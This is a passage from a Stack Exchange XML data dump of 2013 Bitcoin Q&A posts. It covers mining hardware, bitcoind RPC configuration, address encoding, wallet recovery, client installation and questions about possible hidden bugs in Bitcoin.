LastEditorUserId="-1" LastEditDate="2017-04-13T12:38:46.957" LastActivityDate="2013-12-14T12:44:17.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18366" PostTypeId="1" AcceptedAnswerId="18367" CreationDate="2013-12-09T11:10:34.203" Score="3" ViewCount="4633" Body="&lt;p&gt;What are the minimum hardware requirements for mining in a bitcoin pool? Note that I'm not looking for profitability, this has been answered numerous times. I'm more into setting up an old computer to learn how things work. But I guess there are minimum hardware requirements to be able to  mine at all, e.g. being able to transfer blocks when a hash is found and a new block gets the attention. Are there any limits in the pools? Pools might not want participants that are so weak that they just create administration? If so, what is the minimum hash rate level, or is there another figure limiting pool access?&lt;/p&gt;&#xA;" OwnerUserId="10472" LastEditorUserId="5406" LastEditDate="2016-04-17T20:23:18.117" LastActivityDate="2016-04-17T20:23:18.117" Title="Minimum hardware requirements" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18367" PostTypeId="2" ParentId="18366" CreationDate="2013-12-09T11:36:51.093" Score="1" Body="&lt;p&gt;If you are purely out to learn, consider mining on the bitcoin testnet (the alternate bitcoin network that is identical except for running on a different port and allowing non-standard transactions). There you can even easily mine without needing any pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do insist on working on the Bitcoin port, really just about any pool should still allow you to participate. The question might be, though, what mining software is appropriate. If your choice involves downloading the blockchain, then its sheer size (&gt;7 GB) may constitute a hardware constraint. But if you mine in a pool anyways, there is no reason for your miner to need access to the blockchain, unless you want it to verify that you do not unwittingly participate in a 50% attack.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="9790" LastEditDate="2013-12-09T11:55:24.780" LastActivityDate="2013-12-09T11:55:24.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18368" PostTypeId="2" ParentId="16563" CreationDate="2013-12-09T11:42:06.203" Score="1" Body="&lt;p&gt;Bfgminer is better than Cgminer. This it the right resource to check for update of miners : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=168174.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it gives you this two alternatives: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Homebrew (Mac OS X): brew tap nwoolls/cryptocoin &amp;amp;&amp;amp; brew install bfgminer&lt;/li&gt;&#xA;&lt;li&gt;Mac OS X: compile from source using Homebrew, or try MacMiner&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-09T11:42:06.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18369" PostTypeId="1" AcceptedAnswerId="23302" CreationDate="2013-12-09T11:51:33.177" Score="1" ViewCount="6581" Body="&lt;p&gt;OK, I recently posted trying to get help connecting to BITCOIND using Ubuntu or Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ubuntu (Virtual Machine under Win7 64bit) 12.04 Desktop LTS I have the following written in my BITCOIN.CONF file located in $HOME/.bitcoin :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=hello1&#xA;rpcpassword=12345&#xA;rpcallowip=*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run BITCOIND with following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind --server --rpcuser=hello1 --rpcpassword=12345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try and connect with the Ruby script (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=85495.msg3773215#msg3773215&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=85495.msg3773215#msg3773215&lt;/a&gt; ) it gives an error saying it can't connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, under Windows 7 I attempt the same procedure and using NIRSOFT cports app I see Bitcoin daemon is only opened under port 8333, not 833*&lt;em&gt;2&lt;/em&gt;* as one would expect if RPC connection was active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've opened TCP/UDP port 8332-8333 in port forwarding of router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What on Earth am I doing wrong here? &#xA;&lt;strong&gt;Why can't I connect to Bitcoin daemon via RPC?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;==&gt; &lt;strong&gt;BONUS QUESTION:&lt;/strong&gt; I'm quite new to Ubuntu; how do you check open TCP ports at terminal in Ubuntu? (equivalent of netstat in windows)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="10829" LastEditDate="2014-03-09T22:36:02.773" LastActivityDate="2014-07-08T03:58:31.627" Title="Cannot get BITCOIND RPC connection working on Ubuntu 12.04 or Windows 7" Tags="|bitcoind|json-rpc|ubuntu|windows|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18370" PostTypeId="2" ParentId="18369" CreationDate="2013-12-09T12:00:16.767" Score="1" Body="&lt;p&gt;Netstat(1) will give you open ports (in this case listening TCP ports): &lt;code&gt;netstat -lnt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure you know which port your bitcoind daemon is using, start it with paramter &lt;code&gt;-rpcport&lt;/code&gt;. In your example, use exactly &lt;code&gt;-rpcport=8332&lt;/code&gt;, then use the same port when connecting to it.&lt;/p&gt;&#xA;" OwnerDisplayName="user8859" LastEditorDisplayName="user8859" LastEditDate="2013-12-09T12:34:48.167" LastActivityDate="2013-12-09T12:34:48.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18371" PostTypeId="1" AcceptedAnswerId="21193" CreationDate="2013-12-09T12:02:03.037" Score="10" ViewCount="3680" Body="&lt;p&gt;I've generated 10000-50000 key pairs using Chrome Bit Kit app or www.bitaddress.org and have noticed the scarcity of public keys which begin with &lt;strong&gt;1S&lt;/strong&gt; and/or &lt;strong&gt;1s&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this the case?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-07-07T09:18:18.517" Title="Why are Bitcoin addresses starting with 1s or 1S so rare?" Tags="|public-key|bitaddress.org|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18372" PostTypeId="1" CreationDate="2013-12-09T12:30:57.950" Score="0" ViewCount="718" Body="&lt;p&gt;I'm looking for a bitcoin client capable of handling multiple wallets. At the moment I'm developing a shop which will allow bitcoin payments. The idea is to create a new address for each client making a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what client should I use? I'm going to use Debian (possibly Ubuntu) server. Hopefully it will not require lots of resources (at the moment ~1GB of ram is max I can give but ~512MB is preferable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would like the solution to scale well. So perhaps working with wallets is not a correct thing in the first place? For example should I work with raw transactions (&quot;send from temporary address X to the main addres A&quot;) instead? And only synchronize the main wallet?&lt;/p&gt;&#xA;" OwnerUserId="10477" LastActivityDate="2013-12-09T14:15:13.847" Title="multi wallet bitcoin client" Tags="|wallet|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18373" PostTypeId="1" CreationDate="2013-12-09T12:46:15.120" Score="2" ViewCount="4475" Body="&lt;p&gt;im new to the digital currency scene. Im very interested in bitcoins and litecoins. I know about bitcoins a couple of months ago and how foolish of me not to invest in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, im interested in litecoins now as they are really easier to mine and they can also be mined using the CPU which on my computer is probably the best thing. this is my setup:&#xA;AMD Phenom II X2 550 3.1GHz (unlocked the 2 cores so bascially a quad core at 3.1Ghz).&#xA;4GB RAM&#xA;9800GT &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im actually thinking of setting up a litecoin rig, which has 2x 7850's but im really unsure about how much power that will use and what power supply i should buy (e.g. 600W or a 700W etc). Ive seen some videos on youtube about mining using the 7850 and this guy was mining using 2 7850's and he total power was about 850W which is pretty crazy (he did overclock and things like that). Im planning to mine on stock hardware meaning no overclocking so how much power in total do you guys think that will take?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now i guess the news has gotten around about a ASIC litecoin mining machine coming up so no doubt the value of litecoins will increase and i want to take advantage of this situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should I go for that rig with 2x 7850's or is there a better rig I can come up with that will use less power? (My budget is about £400. This includes the power supply, cpu, ram etc). Also, would it be better if I just buy the litecoins directly rather than mining them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used this litecoin calculator to see whether I would be getting a profit/loss:&#xA;&lt;a href=&quot;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=650&amp;amp;p=450.00&amp;amp;pc=0.26&amp;amp;pf=0.00&amp;amp;d=2218.89256388&amp;amp;r=50.00000000&amp;amp;er=0.03408000&amp;amp;hc=0.00&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=650&amp;amp;p=450.00&amp;amp;pc=0.26&amp;amp;pf=0.00&amp;amp;d=2218.89256388&amp;amp;r=50.00000000&amp;amp;er=0.03408000&amp;amp;hc=0.00&lt;/a&gt;&#xA;I used the 650KH/s since I assumed at stock 7850, it would give about ~325KH/s. Since the gpu uses about 120W, i got the 450W from 2 7850s, the cpu, and some other electrical components (e.g. RAM, HDD etc). Since I live in the UK, the average price per kWh is 16p so thats ~$0.26.&#xA;What I dont understand is that on the summary where it says 'Days to generate one block mining solo: 169.69 days'. What does this actaully mean because bitcoins are harder to mine compared to litecoin but on that calculator, it says i'll mine a bitcoin in 99.59 days...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, where it says estimated expected earning, it says i'll generate  ~8 litecoins in a month but previously it said that I'll only be able to mine 1 litecoin in 169.69 days... Is this talking about mining in pools?&lt;/p&gt;&#xA;" OwnerUserId="10478" LastActivityDate="2014-05-03T23:28:27.543" Title="Planning to build a mining rig" Tags="|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18374" PostTypeId="2" ParentId="18371" CreationDate="2013-12-09T12:53:17.087" Score="5" Body="&lt;p&gt;Very few bitcoin addresses map to addresses with any lower-case initial letter (after the 1) or any upper-case letter that comes after Q in the alphabet. All the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;bitcoin-base-58 encoding&lt;/a&gt; characters before Q and except 1 are at least almost equally frequent, and all those after Q as well but far less frequent, with Q being in-between and 1 being even less frequent. This is because a randomly generated address you may use is essentially a base-58 number of what is not only a nearly randomly distributed hash, but also has a certain structure given by the version byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to do any base-58 conversion yourself to get the probabilities. I used the &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt; tool to give me estimates for the (inverse) probability that a randomly generated address ends up on a slot starting with 1P, 1Q, 1R, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, it is fun to do a quick base-58 calculation. A public bitcoin address is a base-58 encoding of 25 binary bytes, of which the first is zero and completely encoded in the starting &quot;1&quot; of an address. The rest is based on a cryptographic hash and hence uniformly distributed between 0 and 256^24 - 1, which is approximately 23.34 * 58^32. If the number for your address is 58^32 or greater, we need 33 symbols after the initial &quot;1&quot; in your bitcoin address, and only the first 23 symbols (symbols &quot;2&quot; through &quot;Q&quot; since the symbol &quot;1&quot; is special, signifying a zero in bitcoin-base-58) can occur as second symbol in your bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only in the rare case (probability 1/23.34) that your address needs fewer symbols can you even get a second character other than &quot;2&quot; through &quot;Q&quot;, and then you get an even distribution between all base-58 symbols except &quot;1&quot; which, again, is special.   &lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-07-07T09:18:18.517" LastActivityDate="2014-07-07T09:18:18.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18377" PostTypeId="1" CreationDate="2013-12-09T13:37:26.563" Score="1" ViewCount="1314" Body="&lt;p&gt;I have been mining bitcoins for years, all which now appear to be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin machine is running ubuntu 10.04 LTS. The bitcoin miner is version 0.3.20.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The machine crashed after a power failure/spike after which the blkindex.dat file was corrupt, along with very many filesystem errors (claimed to be fixed on reboot).  I managed to load the wallet.dat file onto a Mac OSX machine, installed the latest version of bitcoin and let it run to update the wallet info.  Before syncing the wallet showed 0 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After ~14 hours of &quot;syncing&quot; the wallet still shows 0 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching online, there are a few people that have lost their bitcoins when upgrading from one version to another.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built another machine with the same version of Linux and bitcoin miner and installed all the bitcoin files EXCEPT the blk*.dat files.  It is now running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I could try?&lt;/p&gt;&#xA;" OwnerUserId="10481" LastEditorUserId="5406" LastEditDate="2016-04-25T21:24:06.773" LastActivityDate="2016-04-25T21:24:06.773" Title="How to salvage bitcoins from corrupted hard drive?" Tags="|bitcoind|wallet|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18378" PostTypeId="1" CreationDate="2013-12-09T13:44:54.067" Score="0" ViewCount="293" Body="&lt;p&gt;What command do I use to get the latest bitcoin package under Ubuntu desktop 12.04 LTS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what needs to be done to uninstall previous versions?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-08-07T02:05:37.243" Title="Ubuntu command to download https://launchpad.net/~bitcoin/+archive/bitcoin/+packages" Tags="|bitcoind|bitcoin-core|ubuntu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18379" PostTypeId="2" ParentId="18377" CreationDate="2013-12-09T13:50:48.203" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your funds, make a new local wallet with a client like &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; and send the coins from the web interface to it. Blockchain.info is trustworthy, but not ideal.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-09T13:50:48.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18380" PostTypeId="2" ParentId="18378" CreationDate="2013-12-09T13:52:51.333" Score="1" Body="&lt;p&gt;It's relatively painless &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-add-repository add-repository&#xA;sudo apt-get update&#xA;sudo apt-get install bitcoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How you get rid of the old copy depends on how it was installed, if it was a default install this will probably get rid of that anyway. &lt;/p&gt;&#xA;" OwnerUserId="10394" LastActivityDate="2013-12-09T13:52:51.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18381" PostTypeId="2" ParentId="18377" CreationDate="2013-12-09T14:08:26.800" Score="1" Body="&lt;p&gt;You can also try running pywallet on the old wallet file to get at the private keys. Not sure it'll work with such an old file but it's worth trying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=34028.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the private keys you can import them into any client like electrum, bitcoin-qt, multibit etc. to see if you have any coins.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-09T14:08:26.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18382" PostTypeId="2" ParentId="18372" CreationDate="2013-12-09T14:15:13.847" Score="1" Body="&lt;p&gt;You can use electrum and create a dedicated wallet for your shop's transactions using this command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;electrum -w shopwallet -f 0.0001 -G 100 create&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a new wallet with a gap limit of 100 i.e. it will track 100 addresses by default (more will be tracked as you start receiving payments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the wallet setup you can get the master public key (MPK) via the wallets menu &gt; master public key. You can install the MPK on your web server allowing you to generate receiving addresses for your customers without risking your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two example implementations of this approach are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin payments for Woocommerce: &lt;a href=&quot;http://wordpress.org/plugins/bitcoin-payments-for-woocommerce/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/plugins/bitcoin-payments-for-woocommerce/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stick's address generation scripts: &lt;a href=&quot;https://github.com/prusnak/addrgen&quot; rel=&quot;nofollow&quot;&gt;https://github.com/prusnak/addrgen&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-09T14:15:13.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18384" PostTypeId="2" ParentId="16646" CreationDate="2013-12-09T14:32:06.080" Score="12" Body="&lt;p&gt;Electrum is easier. Armory is harder. Electrum lean towards minimalism. Armory is aimed at power users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though you asked about offline wallets you will likely want to maintain a watch only version of your wallet on your online system to be able to see the current balance, create unsigned transactions and give out addresses to people who want to send you money. So let's compare the online wallet experiences as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armory's online wallet requires a copy of bitcoin-qt running and that means you need to download the whole blockchain. Armory's online wallet is also known for being a memory hog. The advantage is that you have a local copy of the blockchain and don't have to trust anybody else with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum relies on third party servers so it runs pretty lean. The downside is that you loose out on privacy to those servers and if they are compromised they could send you fake transaction data and not broadcast your send transactions. They can't steal your coins though - your private key is never shared with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW if your netbook has wifi then make sure you turn that off in the BIOS.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-09T14:32:06.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18385" PostTypeId="1" AcceptedAnswerId="18395" CreationDate="2013-12-09T15:15:18.073" Score="6" ViewCount="529" Body="&lt;p&gt;I'm new to Bitcoin. My understanding as a trained economist (and not a programmer or IT expert) is that the key selling point of Bitcoin is the assignment of monetary policy prerogatives to an algorithm distributed across a P2P network. What this means is that people do not have to rely on a human politician (and his promises) to protect the value of the currency (which, philosophically, represents their past work) by not printing new money discretionally. Instead, they would give this task to an algorithm distributed over a P2P network, which, by definition, will KEEP its promises and will not be under the control of any one single person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do we know that the algorithm cannot be modified to gain control over the expansion of the monetary base? After all, I don't think that there exists a man-made software that cannot be hacked.&lt;/li&gt;&#xA;&lt;li&gt;Many discussions on this forum flag that suck a type of attack would be extremely expensive if not impossible. However, how do we know that such type of bug isn't already in the algorithm? See question 3&lt;/li&gt;&#xA;&lt;li&gt;How do we know that Satoshi hasn't left a bug in his software (or purposely left out some important protective codelines) that will allow him to artificially steal or claim bitcoins at his/her discretion? After all, Satoshi, the inventor of the software has not revealed himself (or herself).&lt;/li&gt;&#xA;&lt;li&gt;Even if Satoshi did not actually &lt;em&gt;steal&lt;/em&gt; the money for himself, but simply left an option for himself to increase/decrease the speed of expansion of the monetary base, that would still give him a 'soft', yet enormous power, making him a &lt;em&gt;de facto&lt;/em&gt; central bank (and people would not necessarily be aware of this). How do we know that this could not happen?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10490" LastEditorUserId="5406" LastEditDate="2017-06-17T22:57:37.630" LastActivityDate="2017-06-17T22:57:37.630" Title="How do we know that the algorithm of Bitcoin does not embed bugs since inception?" Tags="|security|economic-theory|reward-schedule|governance|macroeconomics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18386" PostTypeId="1" CreationDate="2013-12-09T15:28:33.920" Score="6" ViewCount="512" Body="&lt;p&gt;It seems that an idea to store all information inside a blockchain would lead to its bloating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are about 250MM of domains in the web, namecoin allows to store 1Kb of data per record, it leads to 250Gb of data to store in the blockchain, but namecoin is far more general key/value storage than DNS, so the real size of blockchain is expected to be larger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? What is the strategy to avoid or to deal with this bloating?&lt;/p&gt;&#xA;" OwnerUserId="10492" LastActivityDate="2014-01-02T04:04:58.160" Title="Scalability of namecoin" Tags="|blockchain|namecoin|scalability|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18387" PostTypeId="1" CreationDate="2013-12-09T15:53:00.297" Score="1" ViewCount="1401" Body="&lt;p&gt;I downloaded the original software of Bitcoin at bitcoin.org.&#xA;I just created a receive-address. How do I know it will work? How can I test it?&lt;/p&gt;&#xA;" OwnerUserId="10494" LastEditorUserId="132" LastEditDate="2013-12-10T12:06:38.547" LastActivityDate="2017-08-08T17:15:08.437" Title="How can I test my receive address?" Tags="|transactions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18388" PostTypeId="2" ParentId="18387" CreationDate="2013-12-09T15:56:55.400" Score="0" Body="&lt;p&gt;The receive address is based on the private key used to sign it's transactions. If you can see it at all, it means the private key must exist. Further, the address contains a hash so you can't make a typo using it. You can be perfectly confident that it works.&lt;/p&gt;&#xA;" OwnerUserId="5983" LastActivityDate="2013-12-09T15:56:55.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18389" PostTypeId="2" ParentId="18385" CreationDate="2013-12-09T15:59:30.397" Score="2" Body="&lt;p&gt;Because anyone can use logic and creativity to find bugs, and there is a serious amount of money to be stolen by finding such bugs. You can be very confident they are not in there, Bitcoin is too old for that sort of nonsense. It is only an enigma to some.&lt;/p&gt;&#xA;" OwnerUserId="5983" LastActivityDate="2013-12-09T15:59:30.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18390" PostTypeId="1" CreationDate="2013-12-09T16:40:18.407" Score="0" ViewCount="420" Body="&lt;p&gt;I would like to know exactly how is the type of different Bitcoin or litecoin pool ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when you have P2POOL , it can be getwork or stratum but they are protocol ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some pool like BTCGuild when you mine, the reward will be added instantly but in P2POOL takes time to see the reward in you wallet. &lt;/p&gt;&#xA;" OwnerUserId="4818" LastEditorUserId="5406" LastEditDate="2016-04-25T21:23:31.423" LastActivityDate="2016-04-25T21:23:31.423" Title="How many types of mining pool are exist for bitcoin or litecoin?" Tags="|mining-pools|mining-software|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18391" PostTypeId="1" AcceptedAnswerId="18393" CreationDate="2013-12-09T16:44:47.803" Score="1" ViewCount="359" Body="&lt;p&gt;In this discussion:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/9057/10490&quot;&gt;https://bitcoin.stackexchange.com/a/9057/10490&lt;/a&gt;&#xA;One of the users mentions a wallet with 9% of all bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is this true? What could be the source of this information? Is the identity of users not kept secret?&lt;/p&gt;&#xA;" OwnerUserId="10490" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-09T16:56:25.280" Title="Holding of 9% of all bitcoins?" Tags="|wallet|security|privacy|satoshi-nakamoto|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18392" PostTypeId="2" ParentId="18391" CreationDate="2013-12-09T16:54:11.783" Score="2" Body="&lt;p&gt;The blockchain is a public ledger and all transactions can be viewed.  But it doesn't contain any names or other personal information.  So you could determine that a particular bitcoin address owns 9% of all coins, but you couldn't determine who has the private key associated with that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can follow a chain of transactions and make inferences based on the addresses used.  For example, if address A and address B are both used as inputs in the same transaction, then you can assume that the addresses are owned by the same individual.  If you sent coins to somebody at address A and you know their identity, then there is a good chance that you know the identity of the owner of address B as well.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-09T16:54:11.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18393" PostTypeId="2" ParentId="18391" CreationDate="2013-12-09T16:56:25.280" Score="2" Body="&lt;p&gt;This probably used to be true, as you can see from &lt;a href=&quot;http://www.forbes.com/sites/jonmatonis/2012/06/22/the-bitcoin-richest-accumulating-large-balances/&quot; rel=&quot;nofollow&quot;&gt;this Forbes article&lt;/a&gt;. It shows that somebody held almost 440.000 bitcoins in a single bitcoin address in the summer of 2012, hence this person's bitcoin holdings were &lt;em&gt;at least&lt;/em&gt; 5 % of all bitcoins in existence (there were about 9 million bitcoins in existence at the time the article was written). Note that these bitcoins have since left that bitcoin address, but that doesn't mean they disappeared or that there are no other bitcoin-rich accounts. And who knows, maybe people with that many bitcoins split their wealth across more than one bitcoin address...&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-12-09T16:56:25.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18394" PostTypeId="2" ParentId="18387" CreationDate="2013-12-09T17:08:37.277" Score="2" Body="&lt;p&gt;An easy test is to sign a message using your private key and then verify the message using your public key (your receive address).  This can be done using Bitcoin-Qt by selecting File-&gt;Sign Message.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sign a message by entering your receive address and some message text (anything you want).  Select Sign Message.  Copy the signature to the clipboard&lt;/li&gt;&#xA;&lt;li&gt;Verify the message by entering your receive address and the message text (exactly as you entered it for signing).  Then paste the copied signature into the signature field.  Select Verify Message.&lt;/li&gt;&#xA;&lt;li&gt;If everything is working correctly, you should get a message verified status.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-09T17:08:37.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18395" PostTypeId="2" ParentId="18385" CreationDate="2013-12-09T17:15:38.930" Score="5" Body="&lt;p&gt;I'm going to answer your questions directly although I know you've selected another answer. It's for all those who come across this question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do we know that the algorithm cannot be modified to gain control over the expansion of the monetary base? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These are part of the config settings of the Bitcoin protocol. It can be changed but all you would be doing is changing your own node. You would have to convince all the other nodes to change their settings too and additionally you would have to be able to mine coins faster than anyone else to guarantee that you were generating the coins. Without getting too technical, this is the power of a p2p distributed network, the crowd matters, not the individual.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After all, I don't think that there exists a man-made software that cannot be hacked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nobody is saying that one day in the future we won't find a way to hack the security of bitcoin. But if we do then everything is broken, including the internet. The type of security that is used to send your bank details between servers, or when you log in to secure &lt;code&gt;https&lt;/code&gt; websites relies on the same type of security. Even the NSA rely on this security. But if it does happen, we just move to the next level, and send our coins to a new address. (It's a little more complex but I summarise).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many discussions on this forum flag that suck[&lt;em&gt;sic&lt;/em&gt;] a type of attack would be extremely expensive if not impossible. However, how do we know that such type of bug isn't already in the algorithm? See question 3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We know because anyone can look at the code. It's open source. If someone found a bug it would have been exploited already, it is the biggest financial prize in history, you don't think people are trying all the time? They have been trying for 5 years. It may happen if and when a new function is added which is why the core developers need a lot of support from the community.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do we know that Satoshi hasn't left a bug in his software (or purposely left out some important protective codelines) that will allow him to artificially steal or claim bitcoins at his/her discretion? After all, Satoshi, the inventor of the software has not revealed himself (or herself).&#xA;  Even if Satoshi did not actually steal the money for himself, but simply left an option for himself to increase/decrease the speed of expansion of the monetary base, that would still give him a 'soft', yet enormous power, making him a de facto central bank (and people would not necessarily be aware of this). How do we know that this could not happen?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just because the developer chose to be 